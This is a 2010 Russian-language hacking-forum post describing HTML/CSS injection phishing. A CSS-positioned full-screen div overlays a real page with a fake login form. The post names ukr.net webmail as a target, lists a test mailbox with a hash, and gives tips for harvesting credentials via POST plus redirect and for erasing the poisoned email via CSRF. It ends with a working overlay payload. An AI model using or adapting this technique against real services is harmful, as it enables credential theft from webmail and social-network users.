HTML Injection

2010-09-13T00:00:00
ID RDOT:703
Type rdot
Reporter tipsy
Modified 2010-09-13T00:00:00

Description

Грядки, на которых раньше буйно цвёл XSS, давно вытоптаны стадами жадных школьников, потому старый и никому ранее не нужный баян под названием "HTML Injection" может заиграть новыми нотами :)

Цитата:

CSS level 2 was developed by the W3C and published as a Recommendation in May 1998. A superset of CSS1, CSS2 includes a number of new capabilities like absolute, relative, and fixed positioning of elements and z-index
http://en.wikipedia.org/wiki/Css


Очень старая тема, я же вам говорил.

  • Уязвимы: Все сервисы, которые разрешают HTML + CSS и фильтруют его по блэклисту, потенциально уязвимы
  • Не уязвимы: Сервисы, фильтрующие по вайтлисту (gmail)

Список потенциальных жертв: вебмейлы, социальные сети, бложеки, шопы.

Суть такова:
В документ внедряется HTML-элемент(обычно div или span), который средствами css2 делается полноэкранным либо выводится в шапку/сайдбар, частично или полностью замещая реальный интерфейс. Внутри внедрённого элемента находится фальшивая форма для ввода логина/пароля (обычный HTML).
Изменение страницы, в отличие от фейка, сделанного через XSS, происходит на этапе рендера, до того, как что-то отобразилось, потому заметить подмену невозможно даже намётанным глазом фишера.

Способов внедрить css property примерно в миллион раз больше, чем способов внедрить javascript, потому фильтрация "плохого css" по блэклисту неэффективна.

Пара полезных приёмов:
-не пугайте юзера его паролем в адрессбаре, делайте POST запрос. На своём скрипте пните его назад обычным 302 редиректом на страничку, которую он ожидает увидеть. POST волшебным образом превратится в GET (хотя rfc пишут по-другому)
-в одной из реализаций атаки на веб-мэйл в качестве ссылки возврата использовалась CSRF ссылка на удаление "ядовитого" письма, которая, в свою очередь, возвращала в инбокс. ID письма брался из реферера. Элегантно и эффективно. Саша, привет! :)

В качестве примера мы убъём тему с HTML Injection на популярном украинском почтовике ukr.net
Тестовый ящик:
rdot.org@ukr.net:05a671c66aefea124cc08b76ea6d30bb (дабы отсеять совсем левую публику - хеш)
Ukr.net грузит письмо аяксом, так что есть пауза. Для ресурсов, выдающих контент одним куском, её не будет.

Я поленился рисовать форму логина, но идея понятна.
Никакого яваскрипта, чистый HTML4+CSS2.

Простейший код для тестирования:

Код HTML:

outer text
<div style="position:fixed;top:0px;left:0px;width:100%;height:100%;z-index:999;background-color:black;">
inner text
<form action="http://www.google.com/search">
Login: <input value="test" name="q">
<input type="submit" value="send">
</form>
</div>

// специально для rdot.org
// копирование без ссылки на источник не одобряется.